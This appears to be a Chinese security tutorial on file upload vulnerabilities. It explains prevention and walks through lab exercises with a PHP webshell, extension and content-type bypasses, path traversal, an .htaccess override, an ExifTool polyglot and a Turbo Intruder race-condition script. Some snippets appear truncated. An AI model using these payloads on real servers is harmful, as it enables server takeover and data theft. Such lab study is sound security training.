文件上传漏洞
本篇文章我们将详细的介绍一下文件上传的相关知识,包括原理、攻击手法、常见的绕过方法、修复方法等。
什么是文件上传漏洞
文件上传其实是一个非常常见的功能,几乎每个网站都会涉及到这个功能,比如 上传头像、证件照、业务系统的Excel、txt、报销凭证等。但是如果一个系统过于信任他的用户,没有对用户上传的文件名、文件类型、文件内容、大小等进行校验,则都会造成文件上传漏洞,如果系统还返回了文件的保存路径并且可以解析,那这个漏洞可就太完美了。
文件上传漏洞的危害
文件上传漏洞能造成什么危害主要取决于两个方面:
1.这个系统对文件的哪个方面没有进行校验,大小、类型还是内容
2.上传上去的文件收到什么限制
比如说在最完美的情况下(对于攻击者来说),一个服务器没有校验用户上传的文件类型,并且服务器配置允许 php jsp 之类的文件去作为一个代码文件被执行。那么攻击者就可以上传一个恶意文件作为 web shell,从而进一步获取完整的服务器控制权限。
再比如服务器没有对用户上传的文件名进行限制,或者没有重命名用户上传的文件,那可能会允许攻击者覆写关键的配置文件,如果恰好还存在路径穿越漏洞,那效果就更炸裂了。
至于说不检测文件大小,这个的危害大家就更容易理解了,一方面可能会绕过某些防火墙的内容检测,另一方面,即便没有恶意代码,也没有其他问题,但是它占空间啊,这可都是钱啊,如果文件的保存路径就是网站运行的机器,那还可能造成类似 Dos 攻击的效果。
如何预防文件上传漏洞
1.使用白名单策略,仅允许上传你需要的文件格式
2.检查文件名中是否包含可能会影响文件保存路径的 ../
3.对上传的文件统一进行重命名
4.所有的验证动作应该在保存完成之前,而不是先保存,如果验证不通过再删除
5.尽量使用已经得到广泛验证的框架来处理文件上传,而不是自己写一个处理逻辑
6.使用 oss 之类的存储方式,它们不会对文件进行解析,即便上传上去恶意文件也无法使用
案例详解
最简单的文件上传漏洞
作为示例,我们先看一个没有任何验证的文件上传功能,来了解这个漏洞
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容
任务过程
1.首先我们先把我们要上传的文件准备好,里面要包含获取文件内容的代码
echo file_get_contents('/home/carlos/secret'); ?>
2.然后我们看看它的上传功能是什么样子的
3.随便上传一个东西看一下,它的请求包的构成
4.我们可以看到它使用的是 multipart/form-data 上传的文件,同时文件名在 Content-Disposition 请求头中,响应包回显了一个疑似文件路径的地址,那我们就拼接一下,看能不能访问到这个图片
5.可以看到失败了,没有关系,我们还可以看看这个图片对应的链接是什么,在图片的位置右键,选择在新的标签页中打开
6.这时我们就可以看到完整的文件路径了,那下一步当然就是要干点坏事了,上传我们的 webshell 看看有什么限制
7.可以看到没有任何限制,直接就传上去了,那我们就可以直接访问了 /files/avatars/burp.php
8.ok,任务完成,收工下班
一些绕过方法
绕过文件类型限制
这个方法只针对那些通过检测 content-type 头的值的情况,如果服务器还校验其他的比如 文件后缀、文件内容,那就不行了
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容
任务过程
1.网站还是和之前的一样,我们直接上传一个 php 文件看看有什么反应
2.这里可以看到,服务器报错说我们的文件类型是 application/octet-stream ,但是网站只允许上传 image/jpeg 和 image/png,遇到这种情况,我们可以直接替换掉 content-type 头的值,来尝试绕过,如果服务端后续没有对文件内容和文件后缀进行检测的话是有很大概率可以绕过的
3.可以看到文件被成功上传了上去,那我们还是直接访问它拿到 flag /files/avatars/burp.php
只读路径绕过
大家可能遇到那种文件上传上去了,也拿到保存的路径了,但是访问之后返回的是你的代码,而不是代码的执行结果。这种情况可能有几种原因:
1.文件被上传到文件服务器了,这个服务器只配置了只读的权限
2.文件被上传到统一服务器的只读目录了
3.文件被上传到 oss 这类对象存储服务器上了
这里介绍的就是第二种情况,对于另外两种情况,如果你没有办法把文件上传到网站运行的服务器上,那就可以宣布放弃了
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容
任务过程
1.还是老样子,上传我们的恶意文件看看是个什么效果
2.好的成功上传,那我们访问看看
3.这里我们可以看到网站把我们的文件当成了一个静态资源反了回来,并没有执行它,但是我们可以发现它是保存在网站运行的服务器上的,那可能就是第二种情况了,avatars 这个目录是一个只读目录,那我们就需要尝试把这个文件上传到其他目录了,payload ../burp.php
4.这里我们可以发现,网站似乎把我们的 ../ 给吞掉了,那我们就改成 ..%2Fburp.php 试试
5.这次就对了,我们去访问一下这个地址,看看它是不是也是只读的 files/burp.php
6.这次我们就拿到 flag 了,收工下班
黑名单绕过
检测用户上传的文件类型是不是在黑名单里这种策略有点用,但不完全有用,因为我们总是有各种奇奇怪怪的方法可以绕过黑名单检测,比如 大小写、加数字后缀(php1) 之类的。
当然对于一些特殊情况下以下方法也能绕过黑名单
1.大小写绕过,PhP、Jsp
2.多个后缀,burp.php.jpg (代码校验最后一个后缀,中间件解析第一个后缀的情况)
3.添加后缀字符,burp.php. (一些组件会忽略后面的空白或点)
4.URL编码,burp%2Ephp
5.00截断,burp.php%00.jpg (代码校验用java或php等高级语言编写,但是服务器处理文件使用的是C/C++的低级函数,可能会使两者出现差异)
6.双写后缀,burp.p.phphp (代码发现危险格式.php后将其置空,使得前后的字符组成了一个新的 .php)
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。
但是这个网站禁止了一些恶意文件的上传,想办法绕过它,达成你的目的
任务过程
1.还是老样子,我们上传一个文件看看是怎么个事
2.这里说了,我们上传的文件不被允许,那我们就看看这个服务器是 Windows 的还是 Linux 的,如果是 Windows 的,那我们就可以试试大小写绕过
3.这里我们把路径从 my-account 改成了 my-aCCount 任然可以访问成功,说明服务器对大小写不敏感,大概率是Windows的服务器或者说代码对大小写不敏感,那我们就试试把 burp.php 改成 burp.PhP 和 burp.phP13 试试
4.可以看到,PhP 上传失败,phP13 虽然上传成功,但是并没有被作为代码解析,那我们还是试试有没有路径穿越
5.很遗憾,它把我上传的文件名作为了一个字符串,而不是一个目录切换的符号,那我们只能想想办法,让服务器把 phP13 作为一个 php 代码来解析一下了。这里我们可以使用覆盖配置文件的方法来把 phP13 定义为 application/x-httpd-php 从而告诉 Apache 使用 PHP 解析器来处理这种类型的文件
6.上面我们通过访问 /files/avatars/.htaccess 确定了这个路径下存在 .htaccess 这个文件,那下一步就是覆写它了
AddType application/x-httpd-php .phP13
7.上传这个文件,注意修改文件名和文件类型分别为 .htaccess 和 text/plain
8.此时我们再访问 files/avatars/burp.phP13,服务器就会把它交给 php 解释器去执行了
内容校验绕过
有些网站对于文件上传的监测不是基于文件后缀或者文件类型,而是去检测文件的内容,看它是不是自己要求的文件,比如PEG文件总是以字节FF D8 FF开头,他们就检测文件的开头是不是这个。
但是这种方法也不是绝对安全的,我们可以使用 ExifTool 之类的工具去制作一个元数据中包含恶意代码的多语言JPEG文件。
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。
任务过程
1.我们还是上传一个php文件看看是什么情况
2.它说我的不是一个有效的图片,那我们使用 ExifTool 制作一个带有图片的php代码文件 exiftool -Comment="".jpg -o exploit.php,然后上传上去
3.可以看到,这个命令给图片的开头插入了我们的php代码,并且成功上传了上去,接下来我们访问一下看看
4.start 和 end 中间的代码就是我们的 flag 了,提交收工
条件竞争绕过
可能大家会说,我怎么没遇到过这么简单的验证条件。
这个确实,现在大部分网站如果使用的较新的框架的话,它们对文件上传的处理是比较完善的,通常你上传的文件并不会直接保存到目的地址,而是先将其暂存在一个沙箱或者临时目录,然后重命名一个随机文件名防止覆盖原有文件,等所有的验证都没问题了,才会将其保存至预设的保存路径。
但是有的公司系统是自研的,他们不想使用开源的框架,就是自己写的文件上传组件,他们可能购买了一些设备来检测上传的文件,这就使得他们的研发有可能过于依赖这个设备,他们会选择将文件直接上传到文件系统上,然后让防病毒设备进行检测,如果检测出问题再删除掉它,虽然这个过程可能只有几毫秒,但是依然是有可能被攻击者执行的,也就是我们本节介绍的条件竞争。
但是这种情况的检测比较依赖代码审计,在纯盒测试中,可能由于运气的问题,或者你的并发不够高,而导致你检测不出来这个漏洞。
至于怎么预防这种漏洞,其实可以使用随机的临时目录名来解决,只要让攻击者预测不到你的临时目录,那么他就不能通过请求这个文件来执行这个web shell,从而保证即便存在这个漏洞,它也无法利用。
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。
任务过程
1.还是上传一个文件看看是个什么情况
2.可以看到即使使用我们上一节制作的带有图片的恶意php文件也无法上传,正常来说我们是不知道后台的判断逻辑的,只能尝试我们已知的各种绕过后给出以下结论
3.但是我们这是个靶场啊,那就试试上面提到的插件 Turbo Intruder,找到上传文件的那个数据包,右键发送到插件
4.下面就需要一定的python代码基础了,我们首先准备以下代码
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=10, # 并发连接数
requestsPerConnection=100, # 每个连接的请求数
pipeline=False) # 是否使用管道
# 定义第一个请求上传web sheel
request1 = '''POST /my-account/avatar HTTP/1.1
Host: 0afc00a704df996f80c6ee7f00260038.web-security-academy.net
Cookie: session=3Zozd04zEhIUbPMG8YeDTMvAeYn6HZmN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------181290533733138099554259295581
Content-Length: 549
Origin: https://0afc00a704df996f80c6ee7f00260038.web-security-academy.net
Referer: https://0afc00a704df996f80c6ee7f00260038.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
-----------------------------181290533733138099554259295581
Content-Disposition: form-data; name="avatar"; filename="burp.php"
Content-Type: application/octet-stream
-----------------------------181290533733138099554259295581
Content-Disposition: form-data; name="user"
wiener
-----------------------------181290533733138099554259295581
Content-Disposition: form-data; name="csrf"
MQYNOxJzNmz9WZV3V7JcPuDmXb01NQst
-----------------------------181290533733138099554259295581--
'''
# 定义第二个请求,执行刚才的web shell
request2 = '''GET /files/avatars/burp.php HTTP/1.1
Host: 0afc00a704df996f80c6ee7f00260038.web-security-academy.net
Cookie: session=3Zozd04zEhIUbPMG8YeDTMvAeYn6HZmN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers\r\n\r\n''' # 注意这里的 \r\n\r\n 这个是必须有的,用来闭合请求
# 使用gate 'race1'将第一个请求加入队列
engine.queue(request1, gate='race1')
# 使用相同的gate 'race1'将第二个请求加入队列9次
for x in range(9):
engine.queue(request2, gate='race1')
# 等待所有标记为'race1'的请求准备好
# 然后,发送每个请求的最后一个字节
# 这个方法是非阻塞的,就像queue方法一样
engine.openGate('race1')
# 等待引擎在给定的超时时间内完成所有请求
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
5.这里点击最下面的 attack 开始攻击,之后查看响应为 200 的就可以获得 flag 了
6.OK 收工下班
PUT 方法上传
这个就比较简单了,使用 OPTIONS 方法去请求这个网站,看看它支不支持 PUT 方法,支持的话就直接使用 PUT 上传就好了,没什么技术含量
总结
基本上常用的文件上传的验证方式和绕过本文都提及了,在实际测试中我们可能会同时使用上几个技术来实现绕过,所以还是需要师傅们活学活用,不要被经验束缚住了,共勉。
本文来源于隐雾安全
本文暂时没有评论,来添加一个吧(●'◡'●)